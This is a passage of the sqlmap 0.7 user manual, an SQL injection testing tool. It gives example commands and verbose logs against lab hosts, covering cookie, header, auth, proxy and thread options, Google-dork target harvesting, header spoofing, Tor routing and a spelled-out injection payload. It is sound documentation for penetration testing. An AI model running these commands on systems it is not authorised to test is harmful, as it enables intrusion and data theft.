pma_lang=en-utf-8; pma_mcrypt_iv=o6Mwtqw6c0c%3D; pma_theme=deleted
do you want to test this url? [Y/n/q] n
[hh:mm:46] [INPUT] url 2:
GET http://192.168.1.121:80/sqlmap/mysql/get_int.php?id=1
Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3
do you want to test this url? [Y/n/q] y
[hh:mm:49] [INFO] testing url http://192.168.1.121:80/sqlmap/mysql/get_int.php?id=1
[hh:mm:49] [INFO] testing connection to the target url
[hh:mm:49] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:50] [INFO] url is stable
[hh:mm:50] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:50] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:50] [INFO] testing if Cookie parameter 'PPA_ID' is dynamic
[hh:mm:50] [WARNING] Cookie parameter 'PPA_ID' is not dynamic
[hh:mm:50] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:50] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:50] [INFO] GET parameter 'id' is dynamic
[hh:mm:50] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:50] [INFO] testing unescaped numeric injection on GET parameter 'id'
[hh:mm:50] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[hh:mm:50] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
[hh:mm:50] [INPUT] do you want to exploit this SQL injection? [Y/n] y
[hh:mm:29] [INFO] testing for parenthesis on injectable parameter
[hh:mm:29] [INFO] the injectable parameter requires 0 parenthesis
[hh:mm:29] [INFO] testing MySQL
[hh:mm:29] [INFO] query: CONCAT(CHAR(57), CHAR(57))
[hh:mm:29] [INFO] retrieved: 99
[hh:mm:29] [INFO] performed 20 queries in 0 seconds
[hh:mm:29] [INFO] confirming MySQL
[hh:mm:29] [INFO] query: LENGTH(CHAR(57))
[hh:mm:29] [INFO] retrieved: 1
[hh:mm:29] [INFO] performed 13 queries in 0 seconds
[hh:mm:29] [INFO] query: SELECT 9 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:29] [INFO] retrieved: 9
[hh:mm:29] [INFO] performed 13 queries in 0 seconds
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
[...]
</verb></tscreen>


<sect2>Process Google dork results as target urls

<p>
Option: <tt>-g</tt>

<p>
It is also possible to test and inject on <tt>GET</tt> parameters on the
results of your Google dork.

<p>
This option makes sqlmap negotiate with the search engine its session
cookie to be able to perform a search, then sqlmap will retrieve Google
first 100 results for the Google dork expression with <tt>GET</tt> parameters
asking you if you want to test and inject on each possible affected URL.

<p>
Example of Google dorking with expression <tt>site:yourdomain.com
ext:php</tt>:

<tscreen><verb>
$ python sqlmap.py -g "site:yourdomain.com ext:php" -v 1

[hh:mm:38] [INFO] first request to Google to get the session cookie
[hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are 
testable hosts
[hh:mm:41] [INFO] sqlmap got a total of 59 targets
[hh:mm:40] [INFO] url 1:
GET http://yourdomain.com/example1.php?foo=12, do you want to test this 
url? [y/N/q] n
[hh:mm:43] [INFO] url 2:
GET http://yourdomain.com/example2.php?bar=24, do you want to test this 
url? [y/N/q] n
[hh:mm:42] [INFO] url 3:
GET http://thirdlevel.yourdomain.com/news/example3.php?today=483, do you 
want to test this url? [y/N/q] y
[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example3.php?today=483
[hh:mm:45] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:49] [INFO] url is stable
[hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic
[hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic
[hh:mm:53] [INFO] GET parameter 'today' is dynamic
[hh:mm:54] [INFO] testing sql injection on GET parameter 'today'
[hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter 'today'
[hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter 'today'
[hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable
[...]
</verb></tscreen>


<sect2>Load options from a configuration INI file

<p>
Option: <tt>-c</tt>

<p>
It is possible to pass user's options from a configuration INI file, an
example is <tt>sqlmap.conf</tt>.

<p>
Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -c "sqlmap.conf"

[hh:mm:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:42] [WARNING] GET parameter 'cat' is not dynamic
back-end DBMS:  MySQL >= 5.0.0
</verb></tscreen>

<p>
Note that if you also provide other options from command line, those are
evaluated when running sqlmap and overwrite the same options, if set, in
the provided configuration file.


<sect1>Request

<p>
These options can be used to specify how to connect to the target url.

<sect2>HTTP method: <tt>GET</tt> or <tt>POST</tt>

<p>
Options: <tt>--method</tt> and <tt>--data</tt>

<p>
By default the HTTP method used to perform HTTP requests is <tt>GET</tt>,
but you can change it to <tt>POST</tt> and provide the data to be sent
through <tt>POST</tt> request. Such data, being those parameters, are
tested for SQL injection like the <tt>GET</tt> parameters.

<p>
Example on an <bf>Oracle XE 10.2.0.1</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/post_int.php" --method POST \
  --data "id=1"

[hh:mm:53] [INFO] testing connection to the target url
[hh:mm:53] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:54] [INFO] url is stable
[hh:mm:54] [INFO] testing if POST parameter 'id' is dynamic
[hh:mm:54] [INFO] confirming that POST parameter 'id' is dynamic
[hh:mm:54] [INFO] POST parameter 'id' is dynamic
[hh:mm:54] [INFO] testing sql injection on POST parameter 'id'
[hh:mm:54] [INFO] testing numeric/unescaped injection on POST parameter 'id'
[hh:mm:54] [INFO] confirming numeric/unescaped injection on POST parameter 'id'
[hh:mm:54] [INFO] POST parameter 'id' is numeric/unescaped injectable
[...]
[hh:mm:54] [INFO] testing Oracle
[hh:mm:54] [INFO] query: LENGTH(SYSDATE)
[hh:mm:54] [INFO] retrieved: 9
[hh:mm:54] [INFO] performed 13 queries in 0 seconds
[hh:mm:54] [INFO] confirming Oracle
[hh:mm:54] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
[hh:mm:54] [INFO] retrieved: 10.2.0.1.0
[hh:mm:55] [INFO] performed 76 queries in 0 seconds
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS:    Oracle
</verb></tscreen>


<sect2>HTTP <tt>Cookie</tt> header

<p>
Option: <tt>--cookie</tt>

<p>
This feature can be useful in two scenarios:

<itemize>
<item>The web application requires authentication based upon cookies and
you have such data.
<item>You want to test for and exploit SQL injection on such header
values.
</itemize>

<p>
The steps to go through in the second scenario are the following:

<itemize>
<item>On Firefox web browser login on the web authentication form while
dumping URL requests with <htmlurl url="http://tamperdata.mozdev.org/"
name="TamperData"> browser's extension.
<item>In the horizontal box of the extension select your authentication
transaction then in the left box on the bottom click with the right button
on the <tt>Cookie</tt> value, then click on <tt>Copy</tt> to save its
value to the clipboard.
<item>Go back to your shell and run sqlmap.
</itemize>

<p>
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie \
  "id=1" -v 1

[hh:mm:37] [INFO] testing connection to the target url
[hh:mm:37] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:38] [INFO] url is stable
[hh:mm:38] [INFO] testing if Cookie parameter 'id' is dynamic
[hh:mm:38] [INFO] confirming that Cookie parameter 'id' is dynamic
[hh:mm:38] [INFO] Cookie parameter 'id' is dynamic
[hh:mm:38] [INFO] testing sql injection on Cookie parameter 'id'
[hh:mm:38] [INFO] testing numeric/unescaped injection on Cookie parameter 'id'
[hh:mm:38] [INFO] confirming numeric/unescaped injection on Cookie parameter 'id'
[hh:mm:38] [INFO] Cookie parameter 'id' is numeric/unescaped injectable
[...]
</verb></tscreen>

<p>
Note that the HTTP <tt>Cookie</tt> header values are separated by a
<tt>;</tt> character, <bf>not</bf> by an <tt>&amp;</tt>.

<p>
If the web application at first HTTP response has within the HTTP headers
a <tt>Set-Cookie</tt> header, sqlmap will automatically use it in all HTTP
requests as the HTTP <tt>Cookie</tt> header and also test for SQL
injection on these values.

<p>
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" -v 3

[...]
[hh:mm:39] [INFO] testing connection to the target url
[hh:mm:39] [TRAFFIC OUT] HTTP request:
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.125:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
Connection: close

[...]
[hh:mm:40] [INFO] url is stable
[...]
[hh:mm:40] [INFO] testing if Cookie parameter 'ASPSESSIONIDSABTRCAS' is dynamic
[hh:mm:40] [TRAFFIC OUT] HTTP request:
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.125:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
Cookie: ASPSESSIONIDSABTRCAS=469
User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close

[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
[...]
</verb></tscreen>

<p>
If you provide an HTTP <tt>Cookie</tt> header value and the target URL
sends an HTTP <tt>Set-Cookie</tt> header, sqlmap asks you which one to use
in the following HTTP requests.

<p>
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" --cookie "id=1"

[hh:mm:51] [INPUT] you provided an HTTP Cookie header value. The target url provided its
own Cookie within the HTTP Set-Cookie header. Do you want to continue using the HTTP cookie
values that you provided? [Y/n] 
</verb></tscreen>


<sect2>HTTP <tt>Referer</tt> header

<p>
Option: <tt>--referer</tt>

<p>
It is possible to fake the HTTP <tt>Referer</tt> header value with this
option. By default no HTTP <tt>Referer</tt> heder is sent in HTTP
requests.

<p>
Example on a <bf>PostgreSQL 8.3.5</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --referer \
  "http://www.google.com" -v 3

[...]
[hh:mm:48] [INFO] testing connection to the target url
[hh:mm:48] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Referer: http://www.google.com
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close
[...]
</verb></tscreen>


<sect2>HTTP <tt>User-Agent</tt> header

<p>
Options: <tt>--user-agent</tt> and <tt>-a</tt>

<p>
By default sqlmap perform HTTP requests providing the following HTTP
<tt>User-Agent</tt> header value:

<tscreen><verb>
sqlmap/0.7 (http://sqlmap.sourceforge.net)
</verb></tscreen>

<p>
It is possible to fake it with the <tt>--user-agent</tt> option.

<p>
Example on an <bf>Oracle XE 10.2.0.1</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" \
  --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3

[...]
[hh:mm:02] [INFO] testing connection to the target url
[hh:mm:02] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Connection: close
[...]
</verb></tscreen>

<p>
Providing a text file, <tt>./txt/user-agents.txt</tt> or any other
file containing a list of at least one user agent, to the <tt>-a</tt>
option, sqlmap will randomly select a <tt>User-Agent</tt> from the file
and use it for all HTTP requests.

<p>
Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 \
  -a "./txt/user-agents.txt"

[hh:mm:00] [DEBUG] initializing the configuration
[hh:mm:00] [DEBUG] initializing the knowledge base
[hh:mm:00] [DEBUG] cleaning up configuration parameters
[hh:mm:00] [DEBUG] fetching random HTTP User-Agent header from file './txt/user-agents.txt'
[hh:mm:00] [INFO] fetched random HTTP User-Agent header from file './txt/user-agents.txt': 
Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98) 
[hh:mm:00] [DEBUG] setting the HTTP method to perform HTTP requests through
[hh:mm:00] [DEBUG] creating HTTP requests opener object
[hh:mm:00] [DEBUG] parsing XML queries file
[hh:mm:00] [INFO] testing connection to the target url
[hh:mm:00] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98) 
Connection: close
[...]
</verb></tscreen>

<p>
Note that the HTTP <tt>User-Agent</tt> header is tested against SQL
injection also if you do not overwrite the default sqlmap HTTP
<tt>User-Agent</tt> header value.

<p>
Some sites perform a server-side check on the HTTP <tt>User-Agent</tt>
header value and fail the HTTP response if a valid <tt>User-Agent</tt> is
not provided, its value is not expected or its value is blocked by a web
application firewall or similar intrusion prevention system. In this case
sqlmap will show you a message as follows:

<tscreen><verb>
[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try
to force the HTTP User-Agent header with option --user-agent or -a
</verb></tscreen>


<sect2>Extra HTTP headers

<p>
Option: <tt>--headers</tt>

<p>
It is possible to provide extra HTTP headers by providing <tt>--headers</tt>
options. Each header must be separated by a "\n" string and it's much easier
to provide them from the configuration INI file. Have a look at the sample
<tt>sqlmap.conf</tt> file.


<sect2>HTTP <tt>Basic</tt> and <tt>Digest</tt> authentications

<p>
Options: <tt>--auth-type</tt> and <tt>--auth-cred</tt>

<p>
These options can be used to specify which HTTP authentication type the
web server implements and the valid credentials to be used to perfom all
HTTP requests to the target URL.
The two valid types are <tt>Basic</tt> and <tt>Digest</tt> and the
credentials' syntax is <tt>username:password</tt>.

<p>
Examples on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1" \
  --auth-type Basic --auth-cred "testuser:testpass" -v 3

[...]
[hh:mm:14] [INFO] testing connection to the target url
[hh:mm:14] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/basic/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close
[...]


$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1" \
  --auth-type Digest --auth-cred "testuser:testpass" -v 3

[...]
[hh:mm:54] [INFO] testing connection to the target url
[hh:mm:54] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/digest/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
Authorization: Digest username="testuser", realm="Testing digest authentication", 
nonce="Qw52C8RdBAA=2d7eb362292b24718dcb6e4d9a7bf0f13d58fa9d", 
uri="/sqlmap/mysql/digest/get_int.php?id=1", response="16d01b08ff2f77d8ff0183d706f96747", 
algorithm="MD5", qop=auth, nc=00000001, cnonce="579be5eb8753693a"
User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close
[...]
</verb></tscreen>


<sect2>HTTP proxy

<p>
Option: <tt>--proxy</tt>

<p>
It is possible to provide an anonymous HTTP proxy address to pass by the
HTTP requests to the target URL. The syntax of HTTP proxy value is
<tt>http://url:port</tt>.

<p>
Example on a <bf>PostgreSQL 8.3.5</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
  --proxy "http://192.168.1.47:3128"

[hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic
[hh:mm:37] [WARNING] the back-end DMBS is not MySQL
[hh:mm:37] [WARNING] the back-end DMBS is not Oracle
back-end DBMS:    PostgreSQL
</verb></tscreen>

<p>
Instead of using a single anonymous HTTP proxy server to pass by, you can
configure a <htmlurl url="http://tor.eff.org" name="Tor client"> together
with <htmlurl url="http://www.privoxy.org" name="Privoxy"> on your machine
as explained on the <htmlurl url="http://tor.eff.org/docs/tor-doc-unix.html.en"
name="Tor client guide"> then run sqlmap as follows:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
  --proxy "http://192.168.1.47:8118"
</verb></tscreen>

<p>
Note that <tt>8118</tt> is the default Privoxy port, adapt it to your
settings.


<sect2>Concurrent HTTP requests

<p>
Option: <tt>--threads</tt>

<p>
It is possible to specify the number of maximum concurrent HTTP requests
that sqlmap can start when it uses the blind SQL injection technique to
retrieve the query output.
This feature relies on the <htmlurl url="http://en.wikipedia.org/wiki/Multithreading"
name="multithreading"> concept and inherits both its pro and its cons.

<p>
Examples on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 \
  --current-user --threads 3

[...]
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0

[hh:mm:18] [INFO] fetching current user
[hh:mm:18] [INFO] retrieving the length of query output
[hh:mm:18] [INFO] query: IFNULL(CAST(LENGTH(CURRENT_USER()) AS CHAR(10000)), CHAR(32))
[hh:mm:18] [INFO] retrieved: 18
[hh:mm:19] [INFO] query: IFNULL(CAST(CURRENT_USER() AS CHAR(10000)), CHAR(32))
[hh:mm:19] [INFO] starting 3 threads
[hh:mm:19] [INFO] retrieved: testuser@localhost
[hh:mm:19] [INFO] performed 126 queries in 0 seconds
current user:    'testuser@localhost'
</verb></tscreen>

<p>
As you can see, sqlmap first calculates the length of the query output,
then starts three threads. Each thread is assigned to retrieve one
character of the query output. The thread then ends after up to seven
HTTP requests, the maximum requests to retrieve a query output character
with the blind SQL injection bisection algorithm implemented in sqlmap.

<p>
Note that the multithreading option is not needed if the target is affected
by an inband SQL injection vulnerability and the <tt>--union-use</tt>
option has been provided.


<sect2>Delay in seconds between each HTTP request

<p>
Option: <tt>--delay</tt>

<p>
It is possible to specify a number of seconds to wait between each HTTP
request. The valid value is a float, for instance 0.5 means half a second.


<sect2>Seconds to wait before timeout connection

<p>
Option: <tt>--timeout</tt>

<p>
It is possible to specify a number of seconds to wait before considering
the HTTP request timed out. The valid value is a float, for instance
10.5 means ten seconds and a half.


<sect2>Maximum number of retries when the HTTP connection timeouts

<p>
Option: <tt>--retries</tt>

<p>
It is possible to specify the maximum number of retries when the HTTP
connection timeouts. By default it retries up to three times.


<sect1>Injection

<p>
These options can be used to specify which parameters to test for, provide
custom injection payloads and how to parse and compare HTTP responses page
content when using the blind SQL injection technique.

<sect2>Testable parameter(s)

<p>
Option: <tt>-p</tt>

<p>
By default sqlmap tests all <tt>GET</tt> parameters, <tt>POST</tt>
parameters, HTTP <tt>Cookie</tt> header values and HTTP <tt>User-Agent</tt>
header value for dynamicity and SQL injection vulnerability, but it is
possible to manually specificy the parameter(s) you want sqlmap to perform
tests on comma separeted in order to skip dynamicity tests and perform SQL
injection test and inject directly only against the provided parameter(s).

Example on a <bf>PostgreSQL 8.3.5</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 \
  -p "id"

[hh:mm:48] [INFO] testing connection to the target url
[hh:mm:48] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:49] [INFO] url is stable
[hh:mm:49] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:49] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:49] [INFO] GET parameter 'id' is dynamic
[hh:mm:49] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:49] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:49] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:49] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:49] [INFO] testing for parenthesis on injectable parameter
[hh:mm:49] [INFO] the injectable parameter requires 0 parenthesis
[...]
</verb></tscreen>

<p>
Or, if you want to provide more than one parameter, for instance:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&amp;cat=2" -v 1 \
  -p "cat,id"
</verb></tscreen>

<p>
You can also test only the HTTP <tt>User-Agent</tt> header.

<p>
Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 \
  -p "user-agent" --user-agent "sqlmap/0.7 (http://sqlmap.sourceforge.net)"

[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
[hh:mm:40] [INFO] testing connection to the target url
[hh:mm:40] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:41] [INFO] url is stable
[hh:mm:41] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:41] [INFO] confirming that User-Agent parameter 'User-Agent' is dynamic
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is dynamic
[hh:mm:41] [INFO] testing sql injection on User-Agent parameter 'User-Agent'
[hh:mm:41] [INFO] testing numeric/unescaped injection on User-Agent parameter 'User-Agent'
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is not numeric/unescaped injectable
[hh:mm:41] [INFO] testing string/single quote injection on User-Agent parameter 'User-Agent'
[hh:mm:41] [INFO] confirming string/single quote injection on User-Agent parameter 'User-Agent'
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is string/single quote injectable
[hh:mm:41] [INFO] testing for parenthesis on injectable parameter
[hh:mm:41] [INFO] the injectable parameter requires 0 parenthesis
[hh:mm:41] [INFO] testing MySQL
[hh:mm:41] [INFO] query: CONCAT(CHAR(52), CHAR(52))
[hh:mm:41] [INFO] retrieved: 44
[hh:mm:41] [INFO] performed 20 queries in 0 seconds
[hh:mm:41] [INFO] confirming MySQL
[hh:mm:41] [INFO] query: LENGTH(CHAR(52))
[hh:mm:41] [INFO] retrieved: 1
[hh:mm:41] [INFO] performed 13 queries in 0 seconds
[hh:mm:41] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:41] [INFO] retrieved: 4
[hh:mm:41] [INFO] performed 13 queries in 0 seconds
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
</verb></tscreen>


<sect2>Force the database management system name

<p>
Option: <tt>--dbms</tt>

<p>
By default sqlmap automatically detects the web application's back-end
database manangement system.
At the moment the fully supported database management system are four:

<itemize>
<item>MySQL
<item>Oracle
<item>PostgreSQL
<item>Microsoft SQL Server
</itemize>

<p>
It is possible to force the DBMS name if you already know it so that sqlmap
will skip the fingerprint with an exception for MySQL and Microsoft SQL
Server to only identify the version.
To avoid also this check you can provide instead <tt>MySQL VERSION</tt> or
<tt>Microsoft SQL Server VERSION</tt> where version is a valid version for
the DBMS, for instance <tt>5.0</tt> for MySQL and <tt>2005</tt> for
Microsoft SQL Server.

Example on a <bf>PostgreSQL 8.3.5</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 \
  --dbms "PostgreSQL"

[...]
[hh:mm:31] [DEBUG] skipping to test for MySQL
[hh:mm:31] [DEBUG] skipping to test for Oracle
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS:    PostgreSQL
</verb></tscreen>

<p>
In case you provide <tt>--fingerprint</tt> together with <tt>--dbms</tt>,
sqlmap will only perform the extensive fingerprint for the specified
database management system, read below for further details.

<p>
Note that this option is <bf>not</bf> mandatory and it is strongly
recommended to use it <bf>only if you are absolutely sure</bf> about the
back-end database management system. If you do not know it, let sqlmap
automatically identify it for you.


<sect2>Force the database management system operating system name

<p>
Option: <tt>--os</tt>

<p>
By default sqlmap automatically detects the web application's back-end
database manangement system underlying operating system when requested by
any other functionality.
At the moment the fully supported operating systems are two:

<itemize>
<item>Linux
<item>Windows
</itemize>

<p>
It is possible to force the operating system name if you already know it so
that sqlmap will skip the fingerprint.

<p>
Note that this option is <bf>not</bf> mandatory and it is strongly
recommended to use it <bf>only if you are absolutely sure</bf> about the
back-end database management system underlying operating system. If you do
not know it, let sqlmap automatically identify it for you.


<sect2>Custom injection payload

<p>
Options: <tt>--prefix</tt> and <tt>--postfix</tt>

<p>
In some circumstances the vulnerable parameter is exploitable only if the
user provides a postfix to be appended to the injection payload.
Another scenario where these options come handy presents itself when the
user already knows that query syntax and want to detect and exploit the
SQL injection by directly providing a injection payload prefix and/or
postfix.

<p>
Example on a <bf>MySQL 5.0.67</bf> target on a page where the SQL query is:
<tt>$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";</tt>:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 \
  -p "id" --prefix "'" --postfix "AND 'test'='test"

[...]
[hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:16] [INFO] testing custom injection on GET parameter 'id'
[hh:mm:16] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
%28%27test%27=%27test HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:17] [INFO] GET parameter 'id' is custom injectable 
[...]
</verb></tscreen>

<p>
As you can see, the injection payload for testing for custom injection is:

<tscreen><verb>
id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test
</verb></tscreen>

which URL decoded is:

<tscreen><verb>
id=1') AND 7433=7433 AND ('test'='test
</verb></tscreen>

and makes the query syntatically correct to the page query:

<tscreen><verb>
SELECT * FROM users WHERE id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1
</verb></tscreen>

<p>
In this simple example, sqlmap could detect the SQL injection and exploit
it without need to provide a custom injection payload, but sometimes in
the real world application it is necessary to provide it.


<sect2>Page comparison

<p>
Options: <tt>--string</tt> and <tt>--regexp</tt>

<p>
By default the distinction of a True query by a False one (basic concept
for Inferential blind SQL injection attacks) is done comparing injected
requests page content MD5 hash with the original not injected page content
MD5 hash.
Not always this concept works because sometimes the page content changes at
each refresh even not injecting anything, for instance when the page has a
counter, a dynamic advertisment banner or any other part of the HTML which
is render dynamically and might change in time not only consequently to
user's input.
To bypass this limit, sqlmap makes it possible to manually provide a
string which is <bf>always</bf> present on the not injected page
<bf>and</bf> on all True injected query pages, but that it is <bf>not</bf>
on the False ones. This can also be achieved by providing a regular
expression.
Such information is easy for an user to retrieve, simply try to inject on
the affected URL parameter an invalid value and compare original (not
injected) page content with the injected wrong page content to identify
which string or regular expression match is on not injected and True page
only.
This way the distinction will be based upon string presence or regular
expression match and not page MD5 hash comparison.

Example on a <bf>MySQL 5.0.67</bf> target on a page which content changes
every second due to a call to PHP function <tt>time()</tt>:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \
  -v 5

[...]
[hh:mm:50] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:50] [TRAFFIC OUT] HTTP request:
